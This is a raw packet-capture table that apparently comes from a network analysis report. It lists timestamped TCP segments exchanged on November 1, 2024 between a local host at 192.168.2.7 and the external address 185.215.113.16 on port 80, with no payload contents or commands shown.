Nov 1, 2024 12:14:44.774224997 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774238110 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774250031 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774260998 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774261951 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774275064 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774286985 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774296045 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774307966 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774318933 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774328947 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774355888 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774369955 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774388075 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774394035 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774403095 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774409056 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774415016 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774420023 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774431944 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774444103 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774456978 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774461031 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774476051 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774486065 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774498940 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774498940 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774512053 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774517059 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774521112 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774530888 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774538994 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774543047 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774555922 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774566889 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774576902 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774585962 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774600029 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774610996 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774615049 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774624109 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774636030 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774640083 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774648905 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774662971 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774687052 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774735928 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774748087 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774760008 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774771929 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774785042 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774791956 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774796963 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774808884 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774812937 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774833918 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774833918 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774871111 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774882078 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774882078 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774883986 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774899006 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774905920 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774913073 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774918079 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774926901 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774935961 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774940014 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774950027 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774954081 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774966002 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774971008 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774980068 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774986029 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.774995089 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.774997950 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.775024891 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.776532888 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.776590109 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.776597023 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.776629925 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.776931047 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.776973963 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777049065 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777061939 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777075052 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777101040 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777112961 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777120113 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777123928 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777138948 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777144909 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777149916 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777151108 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777164936 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777184010 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777193069 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777244091 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777261972 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777275085 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777286053 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777287960 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777301073 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777309895 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777312994 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777327061 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777332067 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777340889 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777355909 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777373075 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777381897 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777385950 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777400970 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777412891 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777415991 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777434111 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777435064 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777447939 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777456045 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777467012 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777479887 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777491093 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777503967 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777513981 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777517080 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777530909 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777559996 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777595043 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777609110 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777621031 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777631998 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777645111 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777652979 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777658939 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777671099 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777679920 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777683020 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777694941 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777700901 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777709007 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777720928 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777724981 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777745962 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777746916 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777760983 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777770996 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777774096 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777787924 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777791023 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777800083 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777812958 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777826071 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777834892 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777838945 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777849913 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777853012 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777873993 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777890921 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777903080 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777905941 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777915955 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777929068 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777932882 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777941942 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777946949 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777955055 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777966022 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.777967930 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777981043 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.777987003 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778007984 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778012037 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778032064 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778034925 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778045893 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778052092 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778060913 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778068066 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778076887 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778083086 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778090954 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778100967 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778104067 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778109074 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778117895 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778125048 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778131962 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778141975 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778145075 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778156996 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778172970 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778181076 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778187990 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778194904 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778207064 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778218985 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778228045 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778232098 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778244972 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778255939 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778259993 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778273106 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778284073 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778286934 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778299093 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.778301954 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778321981 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.778343916 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.884987116 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.885042906 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.885063887 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.885076046 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.885082960 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.885093927 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.885094881 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.885104895 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.885117054 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.885121107 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.885129929 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.885143042 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.885148048 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.885165930 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.885206938 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.919821024 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.919841051 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.919852972 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.919869900 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.919887066 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.919899940 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.919909000 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.919909000 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.919912100 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.919926882 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.919940948 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.919946909 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.919946909 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.919955969 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.919977903 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.919986010 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.919986010 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920005083 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920017958 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920031071 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920036077 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920042038 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920061111 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920067072 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920067072 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920106888 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920109034 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920123100 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920150042 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920162916 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920166969 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920173883 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920187950 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920200109 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920203924 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920224905 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920234919 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920253992 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920248985 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920275927 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920300961 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920301914 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920301914 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920311928 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920325041 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920330048 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920344114 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920356035 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920355082 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920355082 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920387983 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920389891 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920389891 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920404911 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920413017 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920425892 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920434952 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920444012 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920447111 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920455933 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920461893 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920481920 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920483112 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920497894 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920520067 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920520067 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920520067 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920523882 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920547009 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920552015 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920556068 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920579910 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920594931 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920607090 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920610905 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920619965 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920630932 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920644999 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920666933 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920891047 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920932055 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920933962 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920944929 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920965910 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.920984030 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.920990944 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.921009064 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921021938 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921034098 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921045065 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921045065 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.921077013 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.921125889 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921138048 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921150923 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921163082 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921166897 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.921180010 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921195030 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.921202898 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.921209097 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921221018 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921240091 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.921247005 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921247005 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.921261072 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921271086 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.921274900 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921284914 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.921288967 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921302080 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921305895 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.921324015 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.921340942 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921354055 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:44.921359062 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:44.921367884 CET	80	49981	185.215.113.16	192.168.2.7
